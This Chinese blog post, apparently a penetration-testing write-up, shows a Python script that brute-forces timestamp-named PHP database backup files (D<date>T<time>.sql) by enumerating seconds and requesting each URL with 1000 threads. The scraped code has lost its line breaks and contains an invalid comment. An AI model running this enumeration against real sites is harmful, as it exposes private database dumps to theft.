博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
利用Python爆破数据库备份文件
阅读量:5823 次
发布时间:2019-06-18

本文共 1287 字,大约阅读时间需要 4 分钟。

  某次测试过程中,发现PHP备份功能代码如下:

// 根据时间生成备份文件名$file_name = 'D' . date('Ymd') . 'T' . date('His');$sql_file_name = $file_name . '.sql';

  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

#! /usr/bin/env python# _*_  coding:utf-8 _*_import timeimport requestsimport threadpooldate= "2018-01-18 10:00:00"  //开始时间datelist=[]def gettime():    timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")    time1= int(time.mktime(timeArray))    time2=int(time.time())    for i in range(time1,time2):        time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))        datelist.append(time3)    return datelistdef req(str):               try:        str1,str2=str.split()        date1="D"+str1+"T"+str2        url="http://127.0.0.1/data/backup/"+date1+".sql"        s=requests.get(url,timeout=5)        if  s.status_code==200:            print u"数据库备份文件爆破成功:"            print url    except:        passif __name__ == '__main__':    list=gettime()    pool = threadpool.ThreadPool(1000)     requ = threadpool.makeRequests(req,list)     [pool.putRequest(req) for req in requ]     pool.wait()

Python 测试截图:

 

参考链接:

python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

你可能感兴趣的文章
RHEL6.5安装成功ORACLE11GR2之后,编写PROC程序出错解决方法
查看>>
(50)与magento集成
查看>>
Ubuntu设置python3为默认版本
查看>>
日期Calendar/Date的用法
查看>>
JsonCpp 的使用
查看>>
问题账户需求分析
查看>>
JavaSE-代码块
查看>>
爬取所有校园新闻
查看>>
32、SpringBoot-整合Dubbo
查看>>
python面向对象基础
查看>>
HDU 2044 一只小蜜蜂(递归)
查看>>
docker 下 安装rancher 笔记
查看>>
spring两大核心对象IOC和AOP(新手理解)
查看>>
数据分析相关
查看>>
Python LDAP中的时间戳转换为Linux下时间
查看>>
微信小程序蓝牙连接小票打印机
查看>>
环境错误2
查看>>
C++_了解虚函数的概念
查看>>
全新jmeter视频已经上架
查看>>
Windows 8下如何删除无线配置文件
查看>>